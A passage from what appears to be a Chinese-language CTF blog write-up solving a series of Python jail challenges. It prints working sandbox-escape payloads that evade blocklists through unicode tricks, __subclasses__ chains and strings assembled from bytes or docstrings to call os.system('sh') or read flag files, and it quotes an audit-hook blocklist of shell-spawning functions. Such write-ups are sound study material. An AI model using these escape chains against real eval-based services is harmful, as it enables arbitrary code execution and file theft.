data-src="https://img2.imgtp.com/2024/05/07/8sOZtPla.png" alt="1715085670839.png"></p><p>长度限制 13 个字符</p><p><code>eval(input())</code>  就不会限制长度了</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/yH3VnYJMhdu9KDz.png" alt="image.png"></p><h3 id="calc_jail_beginner_level25"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level25">#</a> calc_jail_beginner_level2.5</h3><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/qd2CRjgS5LtiFXu.png" alt="image.png"></p><p>试错之后发现 ban 了 <code>eval,input,exec</code></p><p>可以使用 unicode 注入   <code>𝓮val(inp𝓾t())</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/N4H5DVwTt1u6MxP.png" alt="image.png"></p><p>也可以用 <code>breakpoint()</code> , 一个调试函数，执行后可以执行一些命令不被绕过</p><h3 id="calc_jail_beginner_level3"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level3">#</a> calc_jail_beginner_level3</h3><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/Q2eFRdN1KWETXDx.png" alt="image.png"></p><p>限制只有 7 个字符</p><p>1、输入：help ()，这里字符串长度只有 6，会进入正常调用 eval 函数；</p><p>2、进入 help 交互式，然后输入任意一个模块名获得该模块的帮助文档，如 sys；</p><p>3、在 Linux 中，这里呈现帮助文档时，实际上是调用了系统里的 less 或 more 命令，可以利用这俩个命令执行本地命令的特性来获取一个 shell，继续按 #!，再执行外部命令 sh 即可。</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/otudEJ38IMCNkge.png" alt="image.png"></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/U39Xhjc4THxE8nl.png" alt="image.png"></p><h3 id="python2-input"><a class="markdownIt-Anchor" href="#python2-input">#</a> python2 input</h3><p>这是一个 python2 的 jail</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/Z4FIetBKj6Q7yzR.png" alt="image.png"></p><p>因为上面提到的在 python2 类中默认不继承 object 类，需要构造 <code>import</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/jcY48uqdnxaOB7L.png" alt="image.png"></p><h3 id="lake-lake-lake"><a class="markdownIt-Anchor" href="#lake-lake-lake">#</a> lake lake lake</h3><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#it seems have a backdoor</span></span><br><span class="line"><span class="comment">#can u find the key of it and use the backdoor</span></span><br><span class="line"></span><br><span class="line">fake_key_var_in_the_local_but_real_in_the_remote = <span class="string">&quot;[DELETED]&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">func</span>():</span><br><span class="line">    code = <span class="built_in">input</span>(<span class="string">&quot;&gt;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">len</span>(code)&gt;<span class="number">9</span>):  </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">print</span>(<span class="string">&quot;you&#x27;re hacker!&quot;</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">eval</span>(code))</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">backdoor</span>():</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Please enter the admin key&quot;</span>)</span><br><span class="line">    key = <span class="built_in">input</span>(<span class="string">&quot;&gt;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span>(key == fake_key_var_in_the_local_but_real_in_the_remote):</span><br><span class="line">        code = <span class="built_in">input</span>(<span class="string">&quot;&gt;&quot;</span>)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="built_in">eval</span>(code))</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Nooo!!!!&quot;</span>)</span><br><span class="line"></span><br><span class="line">WELCOME = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">  _       _          _       _          _       _        </span></span><br><span class="line"><span class="string"> | |     | |        | |     | |        | |     | |       </span></span><br><span class="line"><span class="string"> | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ </span></span><br><span class="line"><span class="string"> | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \</span></span><br><span class="line"><span class="string"> | | (_| |   &lt;  __/ | | (_| |   &lt;  __/ | | (_| |   &lt;  __/</span></span><br><span class="line"><span class="string"> |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     </span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(WELCOME)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Now the program has two functions&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;can you use dockerdoor&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;1.func&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;2.backdoor&quot;</span>)</span><br><span class="line">input_data = <span class="built_in">input</span>(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line"><span class="keyword">if</span>(input_data == <span class="string">&quot;1&quot;</span>):</span><br><span class="line">    func()</span><br><span class="line">    exit(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">elif</span>(input_data == <span class="string">&quot;2&quot;</span>):</span><br><span class="line">    backdoor()</span><br><span class="line">    exit(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;not found the choice&quot;</span>)</span><br><span class="line">    exit(<span class="number">0</span>)</span><br></pre></td></tr></table></figure></div><p>先走 1 通道拿到 key 然后到 2 验证</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/oXO6yphTng82Wrt.png" alt="image.png"></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/cF5eb8VijKOnsyP.png" alt="image.png"></p><h3 id="lke-lke-lke"><a class="markdownIt-Anchor" href="#lke-lke-lke">#</a> l@ke l@ke l@ke</h3><p>还是两步走，通道 1，长度不超过 6 来获取 key，通道 2 验证 key</p><p>对于通道 1，我们调用 <code>help()</code>  进入函数，输入 <code>server</code>  查看 key<br><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/kAnQM9qpgbdLOF6.png" alt="image.png"></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/HYlOA8tLzQqD3x5.png" alt="image.png"></p><h3 id="calc_jail_beginner_level4"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level4">#</a> calc_jail_beginner_level4</h3><p>将 <code>'__loader__', '__import__', 'compile', 'eval', 'exec', 'chr'</code>  等函数都 ban 掉了 后面又将单引号、双引号、反斜杠、反引号给 ban 了</p><p>尝试使用之前的 SSTI 注入 先查询 object 类下的子类 查看可以使用的模块</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">().__class__.__base__.__subclasses__()</span><br></pre></td></tr></table></figure></div><p>发现可以使用 os 模块</p><p>禁用了 chr，可以使用 byte []</p><p>payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/C2ihAFwdWP8kR7r.png" alt="image.png"></p><p>另外，同样是使用 bytes () 函数 猜测 flag 文件的位置和名字 可以直接对  <code>open('flag').read()</code>  进行转化 直接读取 flag</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">open(bytes([102,108,97,103]).decode()).read()</span><br></pre></td></tr></table></figure></div><h3 id="calc_jail_beginner_level405"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level405">#</a> calc_jail_beginner_level4.0.5</h3><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/xKwXD1flzSsPWyB.png" alt="image.png"></p><h3 id="calc_jail_beginner_level41"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level41">#</a> calc_jail_beginner_level4.1</h3><p>没有 hint 了，接下来就是脑洞的碰撞了</p><p>连接靶机</p><p><code>Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and </code> ,&quot;,’ `</p><p>bytes [] 被 ban 了，就需要用 type 了，二者的关系：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">system == [bytes([115,121,115,116,101,109]).decode()]</span><br><span class="line">&quot;system&quot; == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()</span><br></pre></td></tr></table></figure></div><p>利用下面 payload 可以执行 ls，同理可以 <code>cat flag</code></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/ov8fnNjB6uL1Dza.png" alt="image.png"></p><p>也可以利用 Show subclasses with tuple 找到 bytes 类：结果为 bytes 类的索引为 6</p><p>可以构造 payload 拿到 sh</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/cCetM5DzxWAsQK8.png" alt="image.png"></p><p>也可以利用 <code>__doc__</code> getshell</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])</span><br></pre></td></tr></table></figure></div><h3 id="calc_jail_beginner_level42"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level42">#</a> calc_jail_beginner_level4.2</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,&quot;,&#x27;,+ Good luck!</span><br></pre></td></tr></table></figure></div><p>加号被 ban 了，可以用 <code>__add__</code> 代替</p><p>跟 4.1 类似执行 <code>system(&quot;flag_y0u_CaNt_FiNd_mE&quot;)</code></p><p>payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/xXR5rLibdj3B26q.png" alt="image.png"></p><p>也可以继续用 4.1 的利用 bytes 索引的 payload</p><p>和利用 <code>__doc__</code> 的方法，但需要利用 <code>join</code>  的拼接方式</p><p>payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))</span><br></pre></td></tr></table></figure></div><h3 id="calc_jail_beginner_level43"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level43">#</a> calc_jail_beginner_level4.3</h3><p><code>Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and </code> ,&quot;,’,+`</p><p>type 也被 ban 了，还可以利用 <code>list(dict(system=114514))[0]</code>  获取 <code>system</code>  这个字符串</p><p>因此直接执行 <code>system(sh)</code></p><p>payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/07/sBJqXm4ic39ZnxO.png" alt="image.png"></p><p>并且，上面两道题的后两种方法还可以用</p><h3 id="calc_jail_beginner_level51"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level51">#</a> calc_jail_beginner_level5.1</h3><p>尝试之后发现 <code>import</code> 、 <code>open</code>  都被 ban 了</p><p>尝试 <code>dir()</code> ：</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/vCoTzceO1lr8d43.png" alt="image.png"></p><p>一路跟进</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/pR4b81VMro3AYzF.png" alt="image.png"></p><p>发现 encode，直接利用</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/aU1losjKCz6pn7q.png" alt="image.png"></p><h3 id="lake-lake-lake-2"><a class="markdownIt-Anchor" href="#lake-lake-lake-2">#</a> lake lake lake</h3><p>hook 了很多函数</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">my_audit_hook</span>(<span class="params">event, _</span>):</span><br><span class="line">    BALCKED_EVENTS = <span class="built_in">set</span>(&#123;<span class="string">&#x27;pty.spawn&#x27;</span>, <span class="string">&#x27;os.system&#x27;</span>, <span class="string">&#x27;os.exec&#x27;</span>, <span class="string">&#x27;os.posix_spawn&#x27;</span>,<span class="string">&#x27;os.spawn&#x27;</span>,<span class="string">&#x27;subprocess.Popen&#x27;</span>,<span class="string">&#x27;code.__new__&#x27;</span>,<span class="string">&#x27;function.__new__&#x27;</span>,<span class="string">&#x27;cpython._PySys_ClearAuditHooks&#x27;</span>,<span class="string">&#x27;open&#x27;</span>&#125;)</span><br><span class="line">    <span class="keyword">if</span> event <span class="keyword">in</span> BALCKED_EVENTS:</span><br><span class="line">        <span class="keyword">raise</span> RuntimeError(<span class="string">&#x27;Operation banned: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(event))</span><br></pre></td></tr></table></figure></div><p>分析一下猜数字的函数</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">guesser</span>():</span><br><span class="line">    game_score = <span class="number">0</span></span><br><span class="line">    sys.stdout.write(<span class="string">&#x27;Can u guess the number? between 1 and 9999999999999 &gt; &#x27;</span>)</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line">    right_guesser_question_answer = random.randint(<span class="number">1</span>, <span class="number">9999999999999</span>)</span><br><span class="line">    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        input_data = eval_func(<span class="built_in">input</span>(<span class="string">&#x27;&#x27;</span>),&#123;&#125;,&#123;&#125;)</span><br><span class="line">    <span class="keyword">except</span> Exception:</span><br><span class="line">        sys.stdout = challenge_original_stdout</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Seems not right! please guess it!&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> game_score</span><br><span class="line">    sys.stdout = challenge_original_stdout</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> input_data == right_guesser_question_answer:</span><br><span class="line">        game_score += <span class="number">1</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> game_score</span><br></pre></td></tr></table></figure></div><p>可知我们需要猜出 <code>right_guesser_question_answer</code>  才可以获取 flag，同时还给 <code>sys.stdout</code> 、 <code>sys.seterr</code>  进行了重定向，调用 print 无法输出。</p><p>一些解释：<a class="link" href="https://blog.csdn.net/MTbaby/article/details/53159053">python 的 sys.stdout 重定向 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>但是可以通过 <code>__import__(&quot;sys&quot;).__stdout__.write()</code>  去输入。</p><p>那么我们的思路就是，读文件，然后输出</p><p>用 os.open 打开文件，然后用 os.read 读文件，当然也可以用 <code>__import__('io').open(&quot;flag&quot;).read()</code></p><p>payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__import__(&quot;sys&quot;).__stdout__.write(__import__(&quot;os&quot;).read(__import__(&quot;os&quot;).open(&quot;flag&quot;,__import__(&quot;os&quot;).O_RDONLY), 0x114).decode())</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/LWZ5ypkOlGCn3d7.png" alt="image.png"></p><h3 id="lak3-lak3-lak3"><a class="markdownIt-Anchor" href="#lak3-lak3-lak3">#</a> lak3 lak3 lak3</h3><p>直接把 io、system 之类的函数全给 hook 掉了，还把上一题的 open 等更多的函数给 ban 了</p><p>也是猜数字，答案在 <code>right_guesser_question_answer</code> ，想办法获取该值</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/B16ZFDXtSVz9R3h.png" alt="image.png"></p><p>可以使用 <code>__import__(&quot;sys&quot;).__stdout__.write</code>  去进行标准输出，</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__import__(&quot;sys&quot;).__stdout__.write(str(__import__(&#x27;sys&#x27;)._getframe(1)))</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/xqvCfP4M93aW1Uu.png" alt="image.png"></p><p>这里的 frame 对象指向了’/home/ctf/./server.py’这个 file，那么直接调用 f_locals 属性查看变量</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__import__(&quot;sys&quot;).__stdout__.write(str(__import__(&#x27;sys&#x27;)._getframe(1).f_locals))</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/1bPN2qLovwr9S5T.png" alt="image.png"></p><p>最终 payload：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int(str(__import__(&#x27;sys&#x27;)._getframe(1).f_locals[&quot;right_guesser_question_answer&quot;]))</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/08/SL9hMJGDt3C8scq.png" alt="image.png"></p><h3 id="sfe-safeeval"><a class="markdownIt-Anchor" href="#sfe-safeeval">#</a> s@Fe safeeval</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">Black <span class="type">List</span>:</span><br><span class="line"></span><br><span class="line">[</span><br><span class="line"><span class="string">&#x27;POP_TOP&#x27;</span>,<span class="string">&#x27;ROT_TWO&#x27;</span>,<span class="string">&#x27;ROT_THREE&#x27;</span>,<span class="string">&#x27;ROT_FOUR&#x27;</span>,<span class="string">&#x27;DUP_TOP&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;BUILD_LIST&#x27;</span>,<span class="string">&#x27;BUILD_MAP&#x27;</span>,<span class="string">&#x27;BUILD_TUPLE&#x27;</span>,<span class="string">&#x27;BUILD_SET&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;BUILD_CONST_KEY_MAP&#x27;</span>, <span class="string">&#x27;BUILD_STRING&#x27;</span>,<span class="string">&#x27;LOAD_CONST&#x27;</span>,<span class="string">&#x27;RETURN_VALUE&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;STORE_SUBSCR&#x27;</span>, <span class="string">&#x27;STORE_MAP&#x27;</span>,<span class="string">&#x27;LIST_TO_TUPLE&#x27;</span>, <span class="string">&#x27;LIST_EXTEND&#x27;</span>, <span class="string">&#x27;SET_UPDATE&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;DICT_UPDATE&#x27;</span>, <span class="string">&#x27;DICT_MERGE&#x27;</span>,<span class="string">&#x27;UNARY_POSITIVE&#x27;</span>,<span class="string">&#x27;UNARY_NEGATIVE&#x27;</span>,<span class="string">&#x27;UNARY_NOT&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;UNARY_INVERT&#x27;</span>,<span class="string">&#x27;BINARY_POWER&#x27;</span>,<span class="string">&#x27;BINARY_MULTIPLY&#x27;</span>,<span class="string">&#x27;BINARY_DIVIDE&#x27;</span>,<span class="string">&#x27;BINARY_FLOOR_DIVIDE&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;BINARY_TRUE_DIVIDE&#x27;</span>,<span class="string">&#x27;BINARY_MODULO&#x27;</span>,<span class="string">&#x27;BINARY_ADD&#x27;</span>,<span class="string">&#x27;BINARY_SUBTRACT&#x27;</span>,<span class="string">&#x27;BINARY_LSHIFT&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;BINARY_RSHIFT&#x27;</span>,<span class="string">&#x27;BINARY_AND&#x27;</span>,<span class="string">&#x27;BINARY_XOR&#x27;</span>,<span class="string">&#x27;BINARY_OR&#x27;</span>,<span class="string">&#x27;MAKE_FUNCTION&#x27;</span>, <span class="string">&#x27;CALL_FUNCTION&#x27;</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">some code:</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> traceback</span><br><span class="line"><span class="keyword">import</span> pwnlib.util.safeeval <span class="keyword">as</span> safeeval</span><br><span class="line">input_data = <span class="built_in">input</span>(<span class="string">&#x27;&gt; &#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(expr(input_data))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">expr</span>(<span class="params">n</span>):</span><br><span class="line"><span class="keyword">if</span> TURING_PROTECT_SAFE:</span><br><span class="line">m = safeeval.test_expr(n, blocklist_codes)</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">eval</span>(m)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> safeeval.expr(n)</span><br></pre></td></tr></table></figure></div><p>对比下 pwnlib.util.safeeval 中的代码，可以看到 blacklist 中多了两个可以执行的 opcode</p><blockquote><p>MAKE_FUNCTION<br>CALL_FUNCTION</p></blockquote><p>很显然出题人想让我们执行函数调用 / 编写。</p><p>第一时间能想到的是 lambda，然后直接调用就行了，payload 为：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(lambda:os.system(&#x27;cat flag&#x27;))()</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/09/rqJ3FA4O5Dkp76U.png" alt="image.png"></p><h3 id="calc_jail_beginner_level6"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level6">#</a> calc_jail_beginner_level6</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"> _                _                           _       _ _   _                _   __  </span><br><span class="line"> | |              (_)                         (_)     (_) | | |              | | / /  </span><br><span class="line"> | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_  </span><br><span class="line"> | <span class="string">&#x27;_ \ / _ \/ _` | | 